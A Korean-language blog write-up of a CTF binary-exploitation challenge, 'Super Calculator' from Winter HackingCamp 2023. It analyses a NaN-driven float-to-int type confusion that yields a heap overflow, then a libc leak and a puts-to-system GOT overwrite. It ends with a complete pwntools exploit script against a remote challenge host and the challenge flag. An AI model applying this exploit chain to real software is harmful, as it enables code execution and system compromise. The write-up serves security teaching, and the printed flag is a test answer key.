Winter HackingCamp CTF 2023 - Super Calculator (Type Confusion)

같은 Demon 팀의 수민님이 내신 문제다. 대회 전에 문제 검수하면서 스스로 풀어봤는데 이때까지 한 검수 중에서 세 손가락 안에 들 정도로 재밌는 문제여서 블로그에 꼭 기록하고 싶었다. 이 문제를 풀면서 디버깅을 굉장히 많이 하였다.. 미리 스포하자면 이 문제는 Chrome은 아니지만 Chrome 1-day와 관련있는데 나중에 시간이 난다면.. 관련 내용을 블로그에 적어 공유할까 싶기도 한다. (안 할 수도 있다.)

Hello my name is Calculator

  • [ 1 solves / 500 points]

아래는 solve가 0일 때 나온 힌트이다.

1
2
3
Ref. 1day Vulnerbility : https://bugs.chromium.org/p/chromium/issues/detail?id=1315192 (type confusion lead to oob)

Hint : Static_cast, C++, NaN, Infinity, Buffer Overflow

Analysis

main 부터 살펴봤다. (분석하면서 call_num의 타입을 struct를 하나 새로 만들어서 지정해주었다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v10 = 0;
cal_num = malloc(0x138uLL);
setup();
v3 = cal_num;
v3->_int32 = malloc(8uLL);
v4 = cal_num;
v4->_int33 = malloc(8uLL);
v5 = cal_num;
v5->_int34 = malloc(8uLL); //
v6 = cal_num;
v6->_float35 = malloc(8uLL);
v7 = cal_num;
v7->_float36 = malloc(8uLL);
v8 = cal_num;
v8->_float37 = malloc(8uLL); //

setup() 함수는 안봐도 되는 함수다. 스포를 하자면 *cal_num->_int34*cal_num->_float37을 주시해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
while ( 1 )
{
Banner();
scanf("%d", &v10);
switch ( v10 )
{
case 1:
Interger_cal();
break;
case 2:
Real_cal();
break;
case 3:
overflow();
break;
case 4:
Number_change();
break;
case 5:
Print_number();
break;
case 6:
Print_Note();
break;
default:
printf("[E]rror");
exit(1);
}
}

기능이 6가지가 있으며 내가 적은 숫자에 따라 각 기능이 실행된다. 일단 취약점을 찾아야 하니까 취약점일 것 같은 것들 위주로 빠르게 살펴봤다. 처음에 하나하나씩 빠르게 열어보고 세 번째 기능 함수를 보고 다시 첫 번째와 두 번째 함수를 살펴봤다.

세 번째 기능 함수는 overflow 날 것 같이 생겨서 보자마자 overflow로 함수 명을 바꾸어주었다. (ctf니까 여기서 overflow가 나야 뭔갈 할 수 있겠다고 생각했다.)

1
2
3
4
5
6
7
8
int overflow(void)
{
printf(": ");
if ( *(_DWORD *)cal_num->_int34 || *cal_num->_float37 != 0.0 )
return read(0, cal_num, *(unsigned int *)cal_num->_int34);
else
return printf("[E]rror");
}

Interger_cal()함수에서는 취약점일 것처럼 생긴게 안보였다. 하나 특징이 있다면 한 수식을 사용자로부터 입력받고 그 수식에 대한 연산을 진행하는데 연산 결과가 *cal_num->_int34에 담긴다는 것이다. int 연산 결과가 int 타입의 변수에 담기고 음수 연산도 잘 예외처리가 되어있어서 일단 넘어갔다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 Real_cal(void)
{
char s1; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Real cal");
if ( *cal_num->_float37 == 0.0 )
{
printf(": ");
scanf("%1f %c %1f", cal_num->_float35, &s1, cal_num->_float36);
if ( !strcmp(&s1, s2) )
// ..
else if ( !strcmp(&s1, &s2[2]) )
{
if ( *cal_num->_float35 < *cal_num->_float36 )
{
printf("[E]rror");
exit(1);
}
*(_DWORD *)cal_num->_int34 = (int)(float)(*cal_num->_float35 - *cal_num->_float36); // [*]
}
else if ( !strcmp(&s1, &s2[4]) )
{
if ( *cal_num->_float35 < *cal_num->_float36 )
{
printf("[E]rror");
exit(1);
}
*cal_num->_float37 = *cal_num->_float35 / *cal_num->_float36; // [**]
}
else
{
// ..
}
Print_Note();
printf("Result : %f", *cal_num->_float37);
Number_Check(1);
}
else
{
printf("Result : %f\n", *cal_num->_float37);
}
return __readfsqword(0x28u) ^ v2;
}

[*] 를 보자. 처음에 이 함수를 보고 저기서 무조건 타입 컨퓨젼이 날 것이라 생각했다. 왜냐면 float 연산 결과를 int에 담으면 매우매우 큰 수가 담기기 떄문이다. 하지만 내가 scanf("%1f %c %1f", cal_num->_float35, &s1, cal_num->_float36); 이 구문을 잘못 이해하고 있었다. %1f의 이미는 정수형으로 한 자리만 입력받겠다는 것을 의미한다. 나는 소수점 한자리인 줄 알고 디버깅해보면서 의문이 너무나 많았다.

참고로 float 연산을 한다는 것은 어셈블리를 보고 바로 파악할 수 있었다.

1
2
3
4
.text:0000000000400F0D                 mov     rax, cs:_ZL7cal_num._int ; cal_num
.text:0000000000400F14 mov rax, [rax+110h]
.text:0000000000400F1B cvttss2si rdx, xmm0
.text:0000000000400F20 mov [rax], edx

cvttss2si 와 같은 (나에게 상대적으로 덜 익숙한) 어셈블리 연산은 float 연산에서 사용하기 때문이다.

그리고 Number_change라는 수상한 함수가 보여서 바로 확인했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint64_t *Number_change(void)
{
uint64_t *result; // rax

LODWORD(cal_num->_float38) = *cal_num->_int34;
*cal_num->_int34 = *cal_num->_float37; // [*]
*cal_num->_float37 = SLODWORD(cal_num->_float38);
result = *cal_num->_int34;
if ( result < 0 )
{
result = cal_num->_int34;
--*result;
}
return result;
}

대놓고 float 타입의 값을 int 타입의 변수로 옮겨준다. 여기서 type confusion이 발생할 가능성이 있다. 그러나.. float 연산을 하던 Real_cal 함수에서는 정수 한자리로 계산하기 때문에 무의미하다고 생각했다. 여기서 오랜 시간 고민을 하다가 예전에 Chrome 1-day 분석했던 것이 떠올랐다. 정확히 뭔지는 기억 안나는데 연산 결과가 NaN이 나와서 OOB가 발생하는 취약점이 있었다. NaN0/0같은 것을 하면 나온다. Not a Number라는 뜻이다.

아무튼 바로 아래 로직으로 테스트를 진행했고 overflow를 트리거 할 수 있었다.

  1. Real_Cal에서 0/0 입력
  2. Number_Change 함수 -> 여기서 float의 NaN이 int로 넘어가는데 0보다 작기 때문에 문제 로직에 따라 -1을 함
  3. overflow 함수를 통해 overflow 발생 -> -1은 read 세 번째 인자로 들어가면서 unsigned int로 형변환되기 때문에 매우 큰 수가 되어 overflow가 발생한다.

해당 과정은 디버깅을 하면서 이해하였다.

Solve

취약점 트리거도 꽤 고생을 했는데 익스할 때도 고생을 조금 했다. OOB가 발생하는데 leak도 해야하고 어떠한 함수의 got를 system 함수로 덮어야하고 어딘가에 ‘/bin/sh\x00’ 써야하는데 어디에 쓰지.. 란 생각이 동시에 들어서 혼란스러웠다.

1
2
3
4
5
6
7
8
9
10
int Print_number(void)
{
puts("Print Number");
printf("Num 1. %d\n", *cal_num->_int32);
printf("Num 2. %d\n", *cal_num->_int33);
printf("Result %d\n", *cal_num->_int34);
printf("Float Num 1. %f\n", *cal_num->_float35);
printf("Float Num 2. %f\n", *cal_num->_float36);
return printf("Float Result %f\n", *cal_num->_float37);
}

하지만 main의 6가지 기능 중에 이런 것이 있었고, 나는 현재 cal_num에 overflow를 발생시켜 입력을 할 수 있으니 위에 보이는 저 값 즉, *cal_num->_int32*cal_num->_int33와 같은 값들을 덮을 수 있다. 이 기능을 이용하여 libc leak을 할 수 있다. 주의해야할 점은 이게 int라서 4바이트씩 끊어져서 leak이 된다. 하위 4바이트 출력값이 때로 음수가 될 때도 있어서 0보다 이상일 때만 걸러주었다. 아니면 그냥 예외를 강제로 발생시켜 다시 연결하였다.

이런식으로 libc base를 정상적으로 구할 수 있고 이제 어떠한 함수system 함수로 덮어야 한다.

1
2
3
4
int Print_Note(void)
{
return puts(cal_num);
}

기능 중에 이런 기능이 있었고, puts 함수를 system 함수로 덮고 cal_num이 우리 입력값이니까 ‘/bin/sh\x00’을 쉽게 넣어 쉘을 따자고 생각했다. 재밌게도 이 함수는 Interger_cal 함수가 종료될 떄 쯤 호출이 된다.

1
*cal_num->_int34 = *cal_num->_int32 + *cal_num->_int33;

Interger_cal 함수 상단에선 사용자 입력에 따라 이러한 연산을 수행한다. 이걸 이용하여 puts@gotsystem 함수로 덮을 수 있겠다고 생각했다. 먼저 overflow 함수에서 피 연산자 두 개에 puts@got를 4바이트씩 잘라서 넣어놓고 Interger_cal 함수에서 puts@got에다가 값을 쓸 수 있다. 이 때 중요한 것은 4바이트씩 잘 잘라서 넣어줘야한다는 것이다. 그럼 이제 쉘을 획득할 수 있다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context.arch = 'amd64'
# context.log_level = 'DEBUG'

e = ELF('./chall')
# p = process('./chall')
p = remote('3.38.2.179', 40020)
libc = ELF('./libc.so.6')
# libc = e.libc

while(1):
try:
p.sendlineafter('>', str(2))
p.sendlineafter(':', '0 / 0') # nan

p.sendlineafter('>', str(4)) # float -> int
p.sendlineafter('>', str(3)) # overflow

payload = b''
payload += b'A' * 0x100
payload += p64(e.got['printf'])
payload += p64(e.got['printf']+4)
p.send(payload)

p.sendlineafter('>', str(5)) # leak

p.recvuntil('Num 1.')
got1 = int(p.recvline(), 10)
info(hex(got1))
p.recvuntil('Num 2.')
got2 = int(p.recvline(), 10) # 7f??
info(hex(got2))

if got1 > 0:
leak = hex(got2) + hex(got1)[2:]
info('leak : ' +leak)
libc.address = int(leak, 16) - libc.symbols['printf']
info('libc_base : '+hex(libc.address))

p.sendlineafter('>', str(3)) # overflow

payload = b''
payload += b'/bin/sh\x00'
payload += b'\x00' * (0x100- len(payload))
payload += p64(e.got['puts']) # [32]
payload += p64(e.got['puts']+4) # [33] 7f?? => got2

p.send(payload)

system_low = int(hex(libc.symbols['system'])[-8:], 16)
p.sendlineafter('>', str(1)) # 1
payload = ''
payload += str(system_low)
payload += '+'
payload += str(got2)
pause()
p.send(payload)
break
else:
raise NotImplementedError

except Exception as es:
print(es)
p.close()
# p = process('./chall')
p = remote('3.38.2.179', 40020)

p.interactive()

Flag

1
HCAMP{FUNNY_TYPECONFUSION}